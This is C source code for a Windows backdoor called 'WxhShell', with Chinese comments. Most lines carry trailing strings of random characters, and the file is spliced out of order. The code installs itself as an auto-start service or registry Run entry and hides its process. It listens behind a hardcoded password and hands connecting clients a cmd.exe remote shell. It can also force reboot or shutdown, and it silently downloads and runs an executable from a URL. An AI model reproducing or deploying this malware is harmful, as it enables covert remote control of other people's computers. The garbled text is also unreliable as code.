    closesocket(wsh); <$:Hf@tpMo  
    ExitThread(0); [VL+X^  
    } 6u6,9VG,  
    break; vgyv~Px]AW  
    } 79Y;Zgv  
  // 获取shell W["c3c  
  case 's': {  mRYM,   
    CmdShell(wsh); FL8?<bU  
    closesocket(wsh); IXJ6w:E  
    ExitThread(0); bS2)L4MQY  
    break; IT5a/;J  
  } X1N*}@:/  
  // 退出 (G#QRSXc\  
  case 'x': { ]NRQM8\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'v42QJ"{  
    CloseIt(wsh); Dau'VtzN  
    break; 8 FJ>W.  
    } /z(;1$Ld6{  
  // 离开 { d*?O  
  case 'q': { 1#OM~v6B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2(%C  
    closesocket(wsh); +j">Ju6Q;.  
    WSACleanup(); c1CUG1i  
    exit(1); TQjM3Ri=V  
    break; o$[alh;c+W  
        } A]WR-0Z7  
  } 5j S8{d0  
  } HT@/0MF{J  
N:]Ud(VRM  
  // 提示信息 P m}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @4ECz>Q  
} F/(z3Kf  
  } p0b2n a !  
_R ] qoUw;  
  return; _w\A=6=q|  
} y"o@?bny  
QaAWO  
// shell模块句柄 <6(&w9WY  
int CmdShell(SOCKET sock) h+<F,0  
{ {:!CA/0Jx  
STARTUPINFO si;  E qc,/  
ZeroMemory(&si,sizeof(si)); kd3vlp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rcx'`CIJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F\"`^`(O  
PROCESS_INFORMATION ProcessInfo; yo=0Ov  
char cmdline[]="cmd"; x+V@f~2F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PE7D)!d T  
  return 0; fZ6"DJZ  
} 1p%75VW  
Vr1yj  
// 自身启动模式  zG0191f  
int StartFromService(void) q8 _8rp-@  
{ <JyF5  
typedef struct N)tqjq  
{ w]ZE('3%W  
  DWORD ExitStatus; |5h~&kA  
  DWORD PebBaseAddress; iXJ3B&x  
  DWORD AffinityMask; X u+^41  
  DWORD BasePriority; v[UrOT:  
  ULONG UniqueProcessId; /O$7A7Tl  
  ULONG InheritedFromUniqueProcessId; 6 $k"B/k  
}   PROCESS_BASIC_INFORMATION; k9|8@3(h  
S~+er{,ht4  
PROCNTQSIP NtQueryInformationProcess; |_ u  
TTSyDl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1[&V6=n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }kK6"]Tj  
 `[=3_  
  HANDLE             hProcess; ]3/_?n-"`  
  PROCESS_BASIC_INFORMATION pbi; {0t-Q k  
&P,z$H{o@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZNX=]]HM<n  
  if(NULL == hInst ) return 0; 6k@(7Mw8A  
e71dNL'$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bWe_<'N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m\];.Da  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~t` uq  
&0='z  
  if (!NtQueryInformationProcess) return 0; Pgp`g.$<  
HLYTt)f}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }bZcVc2  
  if(!hProcess) return 0; !eH9LRp  
gq+|Hr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S# 9EBw7  
&~SPDiu.t  
  CloseHandle(hProcess); !9/1_Bjv  
;*Z.|?3 MM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C72!::o  
if(hProcess==NULL) return 0; jZ5 mpYUO  
N;A#K 7A[@  
HMODULE hMod; 5,,b>Z<  
char procName[255]; F ^mMyK  
unsigned long cbNeeded; cp&- 6 w+  
@-ms_Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NPFrn[M$  
:nPLQqXGQ  
  CloseHandle(hProcess); "iC*Eoz#.  
j18qY4Gw)  
if(strstr(procName,"services")) return 1; // 以服务启动 \`!M5FJ  
>n^| eAH  
  return 0; // 注册表启动 ;Wws;.~  
} F.%g_Xvk:  
=%\y E0#  
// 主模块 !4blX'<w  
int StartWxhshell(LPSTR lpCmdLine) i3s,C;7[2  
{ uoIvFcb^  
  SOCKET wsl; D_W,Jmet  
BOOL val=TRUE; o_K. +^$  
  int port=0; Z|h&Zd1z  
  struct sockaddr_in door; =mq02C~y  
e9 `n@  
  if(wscfg.ws_autoins) Install(); Uo7V)I;o  
h ?Ni5  
port=atoi(lpCmdLine); IQ`#M~:  
^-24S#KE  
if(port<=0) port=wscfg.ws_port; QS*!3? %  
O6[,K1,  
  WSADATA data; xMb)4cw}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 64hl0'67y  
DAPbFY9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !}TZmwf'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jYv`kt  
  door.sin_family = AF_INET; 7a4b,-93  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z TM1 e  
  door.sin_port = htons(port); xXJl Qbs  
PZDj)x_%B&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '|9fDzW"]  
closesocket(wsl); rerl-T<3  
return 1; (q@DBb4  
} )G a%Eg9  
OjUZ-_J  
  if(listen(wsl,2) == INVALID_SOCKET) { &f:"p*=a\  
closesocket(wsl); '4L0=G:A<q  
return 1; me7?   
} C XZO  
  Wxhshell(wsl); )Hp{8c  
  WSACleanup(); 6^Q Bol  
ks=l Nz9  
return 0; vuOixAkw  
SR4cR)Iz  
} rTgCmr'&  
^D{!!)O  
// 以NT服务方式启动 3miEF0x[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TxN'[G  
{ lhyWlO  
DWORD   status = 0; ~Lyy7 B9  
  DWORD   specificError = 0xfffffff; 905%5\Y  
NJVAvq2E.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RwG@C|sG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Td7=La0   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i"#36CVT~  
  serviceStatus.dwWin32ExitCode     = 0; P{'T9U|O-  
  serviceStatus.dwServiceSpecificExitCode = 0; (}E ] g  
  serviceStatus.dwCheckPoint       = 0; }AZ0BI,TI  
  serviceStatus.dwWaitHint       = 0; aMxg6\8  
~BS Ip .  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;~2RWj=-  
  if (hServiceStatusHandle==0) return; w=UFj  
)o:%Zrk  
status = GetLastError(); /MErS< 6  
  if (status!=NO_ERROR) &<s[(w!%%  
{ x/UmpJD+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?D6?W6@  
    serviceStatus.dwCheckPoint       = 0; c%5G3j  
    serviceStatus.dwWaitHint       = 0;  &Ow[  
    serviceStatus.dwWin32ExitCode     = status; z/B[quSio  
    serviceStatus.dwServiceSpecificExitCode = specificError; aQMUC6cPM@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y6>@zznk  
    return; J`&*r;""V  
  } y rSTU-5u  
O,&nCxB]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H\zV/1~Y  
  serviceStatus.dwCheckPoint       = 0; $rb #k{  
  serviceStatus.dwWaitHint       = 0; P|>pm]>C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * [\H)Lz  
} <3[,bTIk  
&.> 2@  
// 处理NT服务事件,比如:启动、停止 aSKLSl't`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s$V'|Pt  
{  8>}k5Qu  
switch(fdwControl) 'Mfn:n+  
{ {hS9FdWA;  
case SERVICE_CONTROL_STOP: d3$*z)12`  
  serviceStatus.dwWin32ExitCode = 0; {z4v_[-2CF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yo#aX^v~y  
  serviceStatus.dwCheckPoint   = 0; rv75R}.6R^  
  serviceStatus.dwWaitHint     = 0; 6 J&_H(^  
  { r34q9NFT5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )2Ru} -H  
  } N^)\+*tf1  
  return; d)_fI*:f  
case SERVICE_CONTROL_PAUSE: m0: IFE($  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XM9}ax  
  break; oi@hZniP?  
case SERVICE_CONTROL_CONTINUE: !9B`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5gdsV4DH$  
  break; ~^<ju6O'  
case SERVICE_CONTROL_INTERROGATE: 9^DXw!  
  break; ^#-i%V%  
}; B4hT(;k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b3>`%?A  
} i'[o,dbE  
0|RFsJ"  
// 标准应用程序主函数 hSg4A=y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r )EuH.z  
{ cc*xHv^  
?89K [D|  
// 获取操作系统版本 Rxg ^vM*  
OsIsNt=GetOsVer(); l*v6U'J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TA2?Ia;@xV  
t_VF=B^LuR  
  // 从命令行安装 SuO@LroxTB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7$z]oVbO'  
\Ax[/J2aO  
  // 下载执行文件 "kS(b4^  
if(wscfg.ws_downexe) { ]r|nz~Aa$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ODggGB`H`  
  WinExec(wscfg.ws_filenam,SW_HIDE); %ut^ O  
} NZP>aV-  
^}F@*A;o  
if(!OsIsNt) { c" |4'#S  
// 如果时win9x,隐藏进程并且设置为注册表启动 4Jf6uhaE  
HideProc(); 4iDlBs+  
StartWxhshell(lpCmdLine); >~nc7j u  
} d0b`qk @4  
else L.cGt"{  
  if(StartFromService()) ~{8X$xs  
  // 以服务方式启动 ,%bG]5  
  StartServiceCtrlDispatcher(DispatchTable); Yv!r>\#0S  
else e\9H'$1\  
  // 普通方式启动 UBgheu  
  StartWxhshell(lpCmdLine); Xy0KZ !  
ZwC\n(_y  
return 0; |#87|XIJ&~  
} & V*_\  
+d$l1j  
ls^| j%$J  
K&\3j-8^  
=========================================== =b{!p|  
W=[.. d  
/C'dW  
Y$@?Y/rhR  
z_A:MoYf o  
B{In "R8  
" &!adW@y  
;;*'<\lP.j  
#include <stdio.h> @CxXkR  
#include <string.h> e5 "?ol0  
#include <windows.h> ^Hdru]A$2  
#include <winsock2.h> &fIx2ZM[  
#include <winsvc.h> zFR=inI  
#include <urlmon.h> -C>q,mDJZ  
)\!-n]+A  
#pragma comment (lib, "Ws2_32.lib") na%DF@Rt#  
#pragma comment (lib, "urlmon.lib") !6yyX}%o  
8,5H^Bi  
#define MAX_USER   100 // 最大客户端连接数 ~ sC<V  
#define BUF_SOCK   200 // sock buffer viLK\>>  
#define KEY_BUFF   255 // 输入 buffer Ot^<:\< `G  
NV[_XXTv7  
#define REBOOT     0   // 重启 l6AG!8H  
#define SHUTDOWN   1   // 关机 F+lsza  
|?kZfr&9q  
#define DEF_PORT   5000 // 监听端口 lrE|>R  
ThvVLK  
#define REG_LEN     16   // 注册表键长度 e%B;8)7  
#define SVC_LEN     80   // NT服务名长度 ~&UfnO  
tW=,o&C=  
// 从dll定义API `;:zZ8*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B?-~f^*,jG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a2z1/Nh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0zL7$Q#c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ",pN.<F9O  
ql +tqgo  
// wxhshell配置信息 ;'|Mt)\  
struct WSCFG { uia[>&2  
  int ws_port;         // 监听端口 3hPj;-u  
  char ws_passstr[REG_LEN]; // 口令 x'uxSeH$  
  int ws_autoins;       // 安装标记, 1=yes 0=no }gfs  
  char ws_regname[REG_LEN]; // 注册表键名 ~@v<B I  
  char ws_svcname[REG_LEN]; // 服务名 ?)60JWOJ1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #wvmVB.5~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :'t+*{ff  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t!u{sr{j=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nJ ZQRRa:C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ? eU=xO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gmU0/z3&  
LHS^[}x^1  
}; 6{qI  
xpzQ"'be  
// default Wxhshell configuration Hy_}e"  
struct WSCFG wscfg={DEF_PORT, 2".^Ma^D!  
    "xuhuanlingzhe", RyJN=;5p  
    1, [xrM){ItW  
    "Wxhshell", 1\~-No  
    "Wxhshell", E2 5:e EXa  
            "WxhShell Service", RjOQSy3  
    "Wrsky Windows CmdShell Service", M<s Y_<z  
    "Please Input Your Password: ", )]^xy&:|  
  1,  =Y0>b4  
  "http://www.wrsky.com/wxhshell.exe", pFUW7jE  
  "Wxhshell.exe" (t{m(;/  
    }; )Q!3p={S*  
*/kX|Sur  
// 消息定义模块 7Lv5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #hNp1y2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p{sbf;-x}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W$l%= /  
char *msg_ws_ext="\n\rExit."; x;G~c5  
char *msg_ws_end="\n\rQuit."; ub#>kCL9  
char *msg_ws_boot="\n\rReboot..."; }`SXUM_sD`  
char *msg_ws_poff="\n\rShutdown..."; \Jcj4  
char *msg_ws_down="\n\rSave to "; X5M{No>z  
v+3-o/G7  
char *msg_ws_err="\n\rErr!"; LMV0:\>  
char *msg_ws_ok="\n\rOK!"; ?]d [K>bv  
@t;WdbxB%  
char ExeFile[MAX_PATH]; xz#.3|_('  
int nUser = 0; +Yuy%VT  
HANDLE handles[MAX_USER]; "n4' \ig  
int OsIsNt; S!/N lSr<  
&)8-iO  
SERVICE_STATUS       serviceStatus; Gm]]Z_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T{L{<+9%  
oQkY@)3.w  
// 函数声明 g.cD3N  
int Install(void); #ilU(39e  
int Uninstall(void); lF=l|.c  
int DownloadFile(char *sURL, SOCKET wsh); D>YbL0K>X~  
int Boot(int flag); jMT];%$[  
void HideProc(void); ~HR/FGe?N  
int GetOsVer(void); LPOZA`  
int Wxhshell(SOCKET wsl); vfh0aW-O  
void TalkWithClient(void *cs); K]b_JDEk  
int CmdShell(SOCKET sock); a zUEp8`|  
int StartFromService(void); NWGSUUa  
int StartWxhshell(LPSTR lpCmdLine); LB)sk$)  
]/_GHG9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hko(@z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g;>M{)A  
%o~w  
// 数据结构和表定义 2WA =U]  
SERVICE_TABLE_ENTRY DispatchTable[] = mNvK|bTUT  
{ #2F 6}  
{wscfg.ws_svcname, NTServiceMain}, V<#E!MG  
{NULL, NULL} " -Ie  
}; ~+y0UEtq7  
/!r#=enG7  
// 自我安装 ) LA^j|Y}  
int Install(void) 7Y8B \B)w  
{ /R_*u4}iD  
  char svExeFile[MAX_PATH]; s1[_Pk;!  
  HKEY key; bEXm@-ou  
  strcpy(svExeFile,ExeFile); %Ps DS  
QSn%~o05  
// 如果是win9x系统,修改注册表设为自启动 O$><E8q  
if(!OsIsNt) { t*fG;YOg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +3c!.] o;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x bG'![OX  
  RegCloseKey(key); %Jrdr`<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "! yKX(aTX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  9"@P.8_  
  RegCloseKey(key); jJpSn[{  
  return 0; r "^ {?0  
    } I92c!`{  
  } =,aWO7Pz  
} 5X7kZ!r  
else { O1o.^i$-M  
8tc9H}>  
// 如果是NT以上系统,安装为系统服务 FmALmS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !U,^+"l'GP  
if (schSCManager!=0) -jZP&8dPH  
{ /nK)esB1L  
  SC_HANDLE schService = CreateService bw@Dc T&,  
  ( qM`XF32A$  
  schSCManager, _{EO9s2FG  
  wscfg.ws_svcname, ez2 gy"  
  wscfg.ws_svcdisp, seFug  
  SERVICE_ALL_ACCESS, 5(/ 5$u   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;%1ob f 89  
  SERVICE_AUTO_START, [;c'o5M&  
  SERVICE_ERROR_NORMAL, @-z#vJ5Qe{  
  svExeFile, AUloP?24  
  NULL, XA[G F6W,Y  
  NULL, /!o(Y8e>x  
  NULL, imx/hz!  
  NULL, u_aln[oIv  
  NULL dVDQ^O&  
  ); 9<An^lLK*  
  if (schService!=0) /`iBv8!  
  { -R!qDA"  
  CloseServiceHandle(schService); ,w.`(?I/  
  CloseServiceHandle(schSCManager); LE_1H >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $*| :A  
  strcat(svExeFile,wscfg.ws_svcname); jafq(t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VV(>e@Bc4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9o.WJ   
  RegCloseKey(key); <v?9:}  
  return 0; \/jr0):  
    } k_9tz}Z  
  } $+IE`(Ckf  
  CloseServiceHandle(schSCManager); G"jKYW  
} =&*:)  
} U[zY0B  
H_'i.t 'SS  
return 1; YJw9 d]  
} oZ1#.o{  
;lST@>  
// 自我卸载 pRtxyL"y  
int Uninstall(void) }>JFO:v&  
{ -ob_]CKtJ~  
  HKEY key; ZdEeY|j  
a1p:~;f}[  
if(!OsIsNt) { DBl.bgf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lrjlkgSN  
  RegDeleteValue(key,wscfg.ws_regname); ,P^pDrc  
  RegCloseKey(key);  Z*d8b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'sJ=h0d_[V  
  RegDeleteValue(key,wscfg.ws_regname); <^,w,A  
  RegCloseKey(key); 2}u hPW+  
  return 0; Fzk  
  } y D.S"  
} ?JTy+V2t  
} f>JuxX\G  
else { bz_Zk  
pb`F_->uq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Vj|k\vE4  
if (schSCManager!=0) V *=To  
{ X75>C<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uROt h_/  
  if (schService!=0) tRYMK+  
  { /%Bc*k=ox  
  if(DeleteService(schService)!=0) { OpY2Z7_  
  CloseServiceHandle(schService); %R5APMg1  
  CloseServiceHandle(schSCManager); QP|Ou*Qm)  
  return 0; =+q9R`!L]  
  } BVxg=7%St  
  CloseServiceHandle(schService); }cyHR1K  
  } #Nxk3He]8  
  CloseServiceHandle(schSCManager); Q7$ILW-S  
} N<+ ><>9  
} %4U;Rdq&Ud  
vm)&WEL!  
return 1; |XxA Fje  
} 9Y 1&SEsNX  
~$>l@> xX  
// 从指定url下载文件 9^J8V]X  
int DownloadFile(char *sURL, SOCKET wsh) 80cBLGG  
{ ~C< X~$y&  
  HRESULT hr; WO$PW`k  
char seps[]= "/"; @L^2VVWk^  
char *token; ^~0Mw;n&  
char *file; CU 2;m\Hc  
char myURL[MAX_PATH]; %'j)~  
char myFILE[MAX_PATH]; s z/7cLo  
JwbC3 t):@  
strcpy(myURL,sURL); x^}kG[s  
  token=strtok(myURL,seps); i]*W t8~!  
  while(token!=NULL)  (7x5  
  { 6%NX|4_  
    file=token; ,FX;-nP%  
  token=strtok(NULL,seps); DF'-dh</*  
  } $b\`N2J-_  
bL (g$Yi  
GetCurrentDirectory(MAX_PATH,myFILE); sTdD=>  
strcat(myFILE, "\\"); o:_}=1nh  
strcat(myFILE, file); ;rpjXP  
  send(wsh,myFILE,strlen(myFILE),0); 9@Yk8  
send(wsh,"...",3,0); A!s\;C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s M({u/  
  if(hr==S_OK) >e*m8gm#  
return 0; A1@tp/L=o  
else ~fB: >ceD  
return 1; ivC1=+  
"K`B'/08^  
} blph&[`}I  
st ( l85  
// 系统电源模块 +vaz gO<u  
int Boot(int flag) 6G G&mqr+  
{ %(Sy XZ  
  HANDLE hToken; 4)+MvKxjS  
  TOKEN_PRIVILEGES tkp; c|u{(E58  
xf<D5 olZ  
  if(OsIsNt) { aM?Xi6 U5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); < i*v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O5{!CT$  
    tkp.PrivilegeCount = 1; p*F&G=ZE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n>jb<uz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Oi&.pY:X-  
if(flag==REBOOT) { !7@IWz(, "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qyv9]Q1  
  return 0; %d*k3 f }  
} 31 4PcSc  
else { -0PT(gx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~YOwg\w^  
  return 0; ;! &A  
} B#AAG*Ai8  
  } |r1\  
  else { rOw""mE  
if(flag==REBOOT) { !HL7a]PB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) szMh}q"u  
  return 0; LYNd^}  
} 6#fl1GdH-  
else { cjsQm6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {S(?E_id5b  
  return 0; \-N 4G1  
} 7 }>j [  
} Rtw^ lo  
_Xd,aLoo  
return 1; z$oA6qB)  
} z:bxnM2\  
<",4O  
// win9x进程隐藏模块 4m$nVv  
void HideProc(void) ,x!P|\w.G{  
{ w-};\]I  
YvE$fX=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Ch!LS:+  
  if ( hKernel != NULL ) 5i7,s  
  { CFAz/x@%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w|gtb~oh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m `~/]QQ  
    FreeLibrary(hKernel); |/C>xunzz  
  } 6c>t|=Ss(  
1HL}tG?+#  
return; U|6ME%xm  
} Sx+.<]t2A  
 d_gm'  
// 获取操作系统版本 F=yrqRS=  
int GetOsVer(void) *DObtS_ 6  
{ 5:E7nqsNhq  
  OSVERSIONINFO winfo; kM|akG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AJ`b- $Q  
  GetVersionEx(&winfo); HS.3PE0^C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LF* 7;a  
  return 1; rc1EJ(c  
  else Um]>B`."wK  
  return 0; ~ z*  
} ]78I  
*5]fjh{  
// 客户端句柄模块 1u7 5  
int Wxhshell(SOCKET wsl) x:b 0G  
{ +"6_rbeuO  
  SOCKET wsh; ! L:!X88  
  struct sockaddr_in client; /lkIbmV  
  DWORD myID; HT)b3Ws~M8  
7)S`AQ2:)  
  while(nUser<MAX_USER) xekW-=#a7-  
{ S:/;|Dg  
  int nSize=sizeof(client); }MW*xtGV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [tym~ZZ]_m  
  if(wsh==INVALID_SOCKET) return 1; q0{KYWOvk  
J!O5`k*.C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /vS!9f${  
if(handles[nUser]==0) YW9 [^  
  closesocket(wsh); _%w-y(Sqn  
else Xg?hh 0s  
  nUser++; S9J<3 =  
  } Y*;Z(W.V#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RoSh|$JF  
o1YX^-<[F  
  return 0; 'x{g P?.  
} <iunDL0  
n( l!T 7  
// 关闭 socket G<OC99;8  
void CloseIt(SOCKET wsh) 1VL!0H  
{ ~'KymarPU  
closesocket(wsh); SdBv?`u|g  
nUser--; D oX!P|*  
ExitThread(0); &0SX*KyI  
} f;`pj`-k%  
dX{|-;6vm  
// 客户端请求句柄 N~ _GJw@  
void TalkWithClient(void *cs) zvYkWaa_Qz  
{ xu(5U`K  
L0ig%  
  SOCKET wsh=(SOCKET)cs; F2]v]]F!  
  char pwd[SVC_LEN]; K#H}=Y A  
  char cmd[KEY_BUFF]; :&}(?=<R}L  
char chr[1]; 7S LJLn3d  
int i,j; /9NQ u  
I8@NQ=UV0  
  while (nUser < MAX_USER) { {[hH: \  
*Uie{^p?  
if(wscfg.ws_passstr) { <:0649ZB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U:m[* }+<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fs+l  
  //ZeroMemory(pwd,KEY_BUFF); (xpj?zlmM  
      i=0; ;E>5<[aa  
  while(i<SVC_LEN) { wx n D3  
^5j|   
  // 设置超时 mv|eEz)r  
  fd_set FdRead; e  p~3e5  
  struct timeval TimeOut; V$%%nG uE  
  FD_ZERO(&FdRead); Pj>r(Cv  
  FD_SET(wsh,&FdRead); _ fha9`  
  TimeOut.tv_sec=8; B~QX{  
  TimeOut.tv_usec=0; EQ'iyXhEe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .^j #gE&B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pf;'eOdp  
2ikY.Xi6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0{#,'sc;  
  pwd=chr[0]; kmPK |R  
  if(chr[0]==0xd || chr[0]==0xa) { {j@ S<PD  
  pwd=0; _" W<>  
  break; 8-5MGh0L  
  } /uS(Z-@  
  i++; e}yoy+9  
    } /KjRB_5~q}  
$7eO33Bm  
  // 如果是非法用户,关闭 socket u[9i>7}9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MEMD8:['  
} Y~EKMowI&e  
RB.&,1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l4?o0;:)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lb ol+O65  
 98eiYh  
while(1) { 8 P85qa@w  
EM!#FJh  
  ZeroMemory(cmd,KEY_BUFF); x*& OvI/o  
RQ}(}|1+\  
      // 自动支持客户端 telnet标准   %7%7 W*0d  
  j=0;  {I+   
  while(j<KEY_BUFF) { 6I GUp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HMGby2^+  
  cmd[j]=chr[0]; ;SoKX?up5  
  if(chr[0]==0xa || chr[0]==0xd) { }VxbO8\b(  
  cmd[j]=0; |@? B%sY  
  break; a3e<< <Z>R  
  } |6w.m<p  
  j++; c9imfA+e  
    } ~L(=-B`Ow  
0yr=$F(]s  
  // 下载文件 RFd.L@-]  
  if(strstr(cmd,"http://")) { ,g2|8>sJP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z3?,r[   
  if(DownloadFile(cmd,wsh)) x4|>HY<p?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Y/i%#*1  
  else :=vB|Ch:~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HSGM&!5mW  
  } Dz/I"bZLC  
  else { wEL$QOu$  
S o; ;  
    switch(cmd[0]) { hO^8CA,5  
  T)wc{C9w  
  // 帮助 m<)0 XE6w  
  case '?': { Z&FC:4!!  
